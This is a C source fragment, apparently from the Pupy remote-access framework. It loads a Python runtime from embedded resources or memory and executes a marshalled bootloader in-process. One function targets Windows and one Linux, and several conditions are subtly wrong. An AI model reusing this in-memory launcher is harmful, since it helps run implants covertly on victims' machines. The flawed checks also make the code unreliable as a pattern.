BOOL _LoadPythonDLL(HMODULE hmod) { HRSRC hrsrc; char *pBaseAddress; int size; if (!dirname[0]) calc_dirname(hmod); // Try to locate pythonxy.dll as resource in the exe hrsrc = FindResource(hmod, MAKEINTRESOURCE(1), PYTHONDLL); if (hrsrc) { HGLOBAL hgbl = LoadResource(hmod, hrsrc); if (!_load_python(PYTHONDLL, LockResource(hgbl))) { SystemError(GetLastError(), "Could not load python dll"); return FALSE; } // dprintf("Loaded pythondll as RESOURCE\n"); return TRUE; } // try to load pythonxy.dll as bytes at the start of the zipfile pBaseAddress = MapExistingFile(libfilename, &size); if (pBaseAddress) { int res = 0; if (0 == strncmp(pBaseAddress, "<pythondll>", 11)) res = _load_python(PYTHONDLL, pBaseAddress + 11 + sizeof(int)); UnmapViewOfFile(pBaseAddress); if (res) { // dprintf("Loaded pythondll as <pythondll> from %s\n", libfilename); return TRUE; } } // try to load pythonxy.dll from the file system { char buffer[_MAX_PATH + _MAX_FNAME + _MAX_EXT]; snprintf(buffer, sizeof(buffer), "%s\\%s", dirname, PYTHONDLL); if (!_load_python(buffer, NULL)) { SystemError(GetLastError(), "LoadLibrary(pythondll) failed"); SystemError(0, buffer); return FALSE; } // dprintf("Loaded pythondll from file %s\n", buffer); } return TRUE; }
uint32_t mainThread(int argc, char *argv[], bool so) { int rc = 0; PyObject *m=NULL, *d=NULL, *seq=NULL; PyObject *mod; char * ppath; FILE * f; uintptr_t cookie = 0; PyGILState_STATE restore_state; if(!Py_IsInitialized) { int res=0; if(!_load_python( "libpython2.7.so", resources_python27_so_start, resources_python27_so_size)) { dprint("loading libpython2.7.so from memory failed\n"); return -1; } } dprint("calling PyEval_InitThreads() ...\n"); PyEval_InitThreads(); dprint("PyEval_InitThreads() called\n"); if(!Py_IsInitialized()) { dprint("Py_IsInitialized\n"); Py_IgnoreEnvironmentFlag = 1; Py_NoSiteFlag = 1; /* remove site.py auto import */ dprint("INVOCATION NAME: %s\n", program_invocation_name); Py_SetProgramName(program_invocation_name); dprint("Initializing python.. (%p)\n", Py_Initialize); Py_InitializeEx(0); dprint("SET ARGV\n"); if (argc > 0) { if (so) { if (argc > 2 && !strcmp(argv[1], "--pass-args")) { argv[1] = argv[0]; PySys_SetArgvEx(argc - 1, argv + 1, 0); } else { PySys_SetArgvEx(1, argv, 0); } } else { PySys_SetArgvEx(argc, argv, 0); } } PySys_SetPath("."); #ifndef DEBUG PySys_SetObject("frozen", PyBool_FromLong(1)); #endif dprint("Py_Initialize() complete\n"); } restore_state=PyGILState_Ensure(); init_memimporter(); dprint("init_memimporter()\n"); initpupy(); dprint("initpupy()\n"); #ifdef _PYZLIB_DYNLOAD dprint("load zlib\n"); if (!import_module("initzlib", "zlib", resources_zlib_so_start, resources_zlib_so_size)) { dprint("ZLib load failed.\n"); } #endif /* We execute then in the context of '__main__' */ dprint("starting evaluating python code ...\n"); m = PyImport_AddModule("__main__"); if (m) d = PyModule_GetDict(m); if (d) seq = PyMarshal_ReadObjectFromString( resources_bootloader_pyc_start, resources_bootloader_pyc_size ); if (seq) { Py_ssize_t i, max = PySequence_Length(seq); for (i=0;i<max;i++) { dprint("LOAD SEQUENCE %d\n", i); PyObject *sub = PySequence_GetItem(seq, i); if (seq) { PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d); if (!discard) { dprint("discard\n"); PyErr_Print(); rc = 255; } Py_XDECREF(discard); /* keep going even if we fail */ } Py_XDECREF(sub); } } dprint("complete ...\n"); PyGILState_Release(restore_state); Py_Finalize(); dprint("exit ...\n"); return 0; }